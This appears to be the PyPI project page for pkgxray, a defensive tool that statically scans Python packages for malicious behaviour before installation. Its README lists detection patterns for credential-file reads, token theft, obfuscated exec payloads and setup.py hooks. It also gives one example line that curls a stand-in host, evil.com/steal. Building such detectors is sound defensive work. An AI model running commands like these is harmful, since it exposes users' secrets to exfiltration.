Analyze PyPI packages for suspicious behavior before installing them
Project description
pkgxray
Radiografía de paquetes PyPI antes de instalarlos.
Cuando ejecutas pip install algo confías ciegamente en que ese código es seguro.
pkgxray descarga el paquete sin instalarlo, extrae el código fuente y ejecuta
8 analizadores especializados basados en AST para detectar patrones maliciosos,
todo antes de que una sola línea del paquete se ejecute en tu máquina.
El problema que resuelve
En PyPI existen paquetes maliciosos que:
- Roban API keys y tokens de variables de entorno
- Abren conexiones de red para exfiltrar datos
- Ejecutan comandos del sistema en segundo plano
- Inyectan código en
setup.pyque corre automáticamente al instalar - Esconden payloads con
exec(base64.b64decode(...))
Herramientas como pip-audit solo detectan CVEs ya reportados — no analizan el
comportamiento del código. pkgxray cubre ese vacío con análisis estático AST.
Instalación
pip install pkgxray
Requiere Python 3.9+. Solo dos dependencias externas: click y rich.
Inicio rápido
Línea de comandos
# Analizar un paquete (salida en terminal con colores)
pkgxray scan requests
# Salida en JSON
pkgxray scan requests --format json
# Guardar reporte HTML
pkgxray scan requests --format html -o reporte.html
# Analizar una versión específica
pkgxray scan requests --version 2.28.0
API de Python
from pkgxray import scan
from pkgxray.reporter import generate_report
result = scan("requests")
print(f"Score de riesgo : {result.risk_score}/100")
print(f"Nivel de riesgo : {result.risk_level}")
print(f"Archivos analizados: {result.files_analyzed}")
print(f"Hallazgos totales : {len(result.findings)}")
# Inspeccionar hallazgos individuales
for finding in result.findings:
print(f"[{finding.severity.value.upper()}] {finding.analyzer_name}")
print(f" {finding.filename}:{finding.line_number}")
print(f" {finding.description}")
# Exportar
json_report = generate_report(result, format="json")
generate_report(result, format="html", output_path="reporte.html")
Cómo funciona
pkgxray scan <paquete>
│
▼
1. DESCARGA → Consulta la API JSON de PyPI
Descarga el .tar.gz o .whl (sin instalarlo)
│
▼
2. EXTRACCIÓN → Descomprime el archivo
Extrae todos los archivos .py (incluyendo setup.py)
│
▼
3. ANÁLISIS → Ejecuta 8 analizadores basados en AST en cada archivo
El parseo AST entiende estructura del código, no solo texto
│
▼
4. PUNTUACIÓN → Pondera hallazgos por severidad:
LOW=1 MEDIUM=3 HIGH=7 CRITICAL=15
Tope por analizador para evitar inflación por repetición
Score final: 0–100
│
▼
5. REPORTE → Terminal (con colores via rich), JSON o HTML
¿Por qué AST en lugar de regex?
- Entiende la estructura del código, no solo el texto
- Más difícil de evadir: renombrar una variable no lo engaña
- Distingue
dict.get()derequests.get()— no genera falsos positivos - Usa el módulo
astde la biblioteca estándar, sin dependencias adicionales
Los 8 analizadores
| Analizador | Qué detecta | Severidad |
|---|---|---|
code_exec |
eval(), exec(), compile() |
HIGH – CRITICAL |
network |
urlopen(), requests.get(), socket.connect() |
HIGH – CRITICAL |
filesystem |
os.remove(), shutil.rmtree(), rutas sensibles (/etc/passwd, ~/.ssh/, ~/.aws/) |
HIGH – CRITICAL |
env_access |
os.environ, os.getenv(), acceso a API keys y tokens |
LOW – HIGH |
subprocess |
subprocess.Popen(), subprocess.run(), os.system(), os.execvp() |
HIGH – CRITICAL |
obfuscation |
exec(base64.b64decode(...)), bytes.fromhex(), strings con escape hexadecimal |
MEDIUM – CRITICAL |
setup_scripts |
Hooks post-instalación en setup.py que sobreescriben install.run() |
HIGH – CRITICAL |
dynamic_imports |
__import__(), importlib.import_module() con argumentos dinámicos |
MEDIUM – HIGH |
Detección de ejecución al nivel del módulo
pkgxray distingue entre código que se ejecuta automáticamente al importar el paquete y código dentro de funciones que requiere invocación explícita.
# CRÍTICO: corre en el momento que el usuario hace "import paquete"
subprocess.run(["curl", "http://evil.com/steal"])
# ALTO: solo corre si el usuario llama explícitamente a la función
def build():
subprocess.run(["make"])
Las llamadas peligrosas al nivel del módulo se elevan automáticamente a CRITICAL porque se ejecutarían sin ninguna acción del usuario.
Qué NO flaggea (precisión)
pkgxray está calibrado para minimizar falsos positivos en paquetes legítimos:
import requests— importar una librería no es sospechoso, solo usarlaimport subprocess— igual, solo se reportan las llamadas concretasopen(archivo, "w")— escribir archivos es demasiado común para flaggearsebase64.b64decode(data)— codificación estándar para auth headers, imágenes, TLSimport osensetup.py— casi todo setup.py lo importa legítimamentedict.get(),config.get()— no se confunden con llamadas HTTP
Escala de riesgo y scores de referencia
| Score | Nivel | Interpretación |
|---|---|---|
| 0 – 20 | LOW | Sin comportamiento sospechoso relevante |
| 21 – 40 | MODERATE | Algunos patrones comunes, probablemente legítimos |
| 41 – 70 | HIGH | Comportamiento activo de red, sistema o archivos |
| 71 – 100 | CRITICAL | Múltiples categorías de riesgo o patrones de malware |
Scores aproximados de paquetes conocidos (referencia orientativa):
| Paquete | Score típico | Por qué |
|---|---|---|
more-itertools |
~15 LOW | Utilidades puras, sin red ni sistema |
attrs |
~25 MODERATE | Introspección de clases, sin comportamiento externo |
click |
~35 MODERATE | Algo de env y filesystem para la CLI |
requests |
~55 HIGH | Conexiones HTTP activas, importa socket |
paramiko |
~65 HIGH | Red (SSH), criptografía, lectura de archivos de clave |
Un score alto no significa que el paquete sea malicioso — significa que tiene comportamiento que merece revisión.
requeststiene score HIGH porque realmente hace conexiones de red, que es exactamente lo que se espera de un cliente HTTP.
Comparativa con otras herramientas
| Herramienta | Qué analiza | Cuándo actúa | Analiza código |
|---|---|---|---|
pip-audit / safety |
CVEs en base de datos pública | Después de instalar | No |
bandit |
Tu propio código fuente | En tu repositorio | Sí, solo tu código |
pkgxray |
Comportamiento de paquetes de terceros | Antes de instalar | Sí, con AST |
pkgxray es complementario a pip-audit, no un reemplazo. Lo ideal es usar ambos: pip-audit detecta vulnerabilidades conocidas en lo que ya tienes instalado, pkgxray analiza el comportamiento de lo que estás a punto de instalar.
Docker
# Ejecutar los tests
docker-compose run test
# Analizar "requests"
docker-compose run scan
# Analizar "requests" con salida JSON
docker-compose run scan-json
O directamente:
docker build -t pkgxray .
docker run pkgxray scan requests
docker run pkgxray scan requests --format json
Desarrollo
# Clonar e instalar en modo desarrollo
git clone https://github.com/maip-fred/pkgxray.git
cd pkgxray
pip install -e ".[dev]"
# Tests unitarios (sin red, rápidos)
pytest tests/ -v -m "not slow"
# Todos los tests incluyendo integración
pytest tests/ -v
# Con reporte de cobertura
pytest tests/ --cov=pkgxray --cov-report=html -m "not slow"
Licencia
MIT — ver LICENSE
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file pkgxray-0.2.2.tar.gz.
File metadata
- Download URL: pkgxray-0.2.2.tar.gz
- Upload date:
- Size: 30.7 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.13
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
ab59cb00ac7903b42797b127d2bf05df99addf6755403bb405d35a2c664b3eae
|
|
| MD5 |
79cba17b4b7fca557c8fc07d1da41b86
|
|
| BLAKE2b-256 |
8429ac185d7754f628fcce1d56f197d7123ba20e2ff16e96561105d1d18e5ec0
|
File details
Details for the file pkgxray-0.2.2-py3-none-any.whl.
File metadata
- Download URL: pkgxray-0.2.2-py3-none-any.whl
- Upload date:
- Size: 28.5 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.13
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
31aa9733f043cc757e3b781e1186e66339d2be2de330a877ad7e54e3bf1a584d
|
|
| MD5 |
bdc259b7aca5fe37bc64378fde15c99d
|
|
| BLAKE2b-256 |
f7017f457a6b85ffbac5e20251ca1acd830d97d7df38f73ab3dcd4cb504704e6
|